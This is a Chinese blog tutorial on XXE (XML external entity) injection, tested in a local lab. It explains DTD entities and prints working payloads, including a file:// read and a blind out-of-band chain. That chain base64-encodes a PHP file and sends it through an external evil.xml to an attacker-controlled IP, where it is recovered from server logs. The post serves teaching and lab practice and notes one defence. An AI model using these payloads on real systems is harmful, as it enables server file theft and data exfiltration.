XXE总结

XXE

什么是XXE

简单来说,XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

例如,如果你当前使用的程序为PHP,则可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体,从而起到防御的目的。

我们在本地测试xxe
https://github.com/c0ny1/xxe-lab

在这里插入图片描述

可以看到使用xml进行数据传输的

那我们可以使用XML DTD 进行文件读取

关于DTD
https://www.w3school.com.cn/dtd/dtd_entities.asp

在这里插入图片描述
我们看一下一下基本的PAYLOAD结构

<?xml version="1.0"?>
//xml声明

<!DOCTYPE test[
<!ENTITY admin SYSTEM "file:///D:/phpstudy_pro/WWW/1.txt">
]>
//DTD部分

<user>
	<username>&admin;</username>
	<password>admin</password>
</user>
//xml部分

DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。

实体分为一般实体和参数实体

  1. 一般实体的声明:<!ENTITY 实体名称 "实体内容">
    引用一般实体的方法:&实体名称;

  2. 参数实体的声明:<!ENTITY % 实体名称 "实体内容">
    引用参数实体的方法:%实体名称;

下面直接读取php文件,为了方便输出,我们以base64编码的方式输出

在这里插入图片描述

以上是有回显的xxe注入,下面看一下没有回显的,将报错 隐藏同时不让其输出结果

在这里插入图片描述

关于无回显的我们要使用参数实体注入

<?xml version="1.0"?> 
<!DOCTYPE test[ 
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/phpstudy_pro/WWW/1.php"> 
<!ENTITY % dtd SYSTEM "http://192.168.105.132/evil.xml">
%dtd; 
%send;
 ]>
 //我的kali地址为192.168.105.132
//evil.xml
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.105.132/?content=%file;'>"> %payload;

在这里插入图片描述
里层的嵌套里%要进行实体编码成&#x25;。无报错需要访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。

在这里插入图片描述
在这里插入图片描述

XML可用的外部实体类型

在这里插入图片描述

参考
https://blog.csdn.net/nzjdsds/article/details/98763063
https://www.freebuf.com/column/181064.html

还有一个自己前面做的vulnhun的靶机,也是考察的xxe,可以参考一下
https://blog.csdn.net/weixin_43940853/article/details/104620834
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值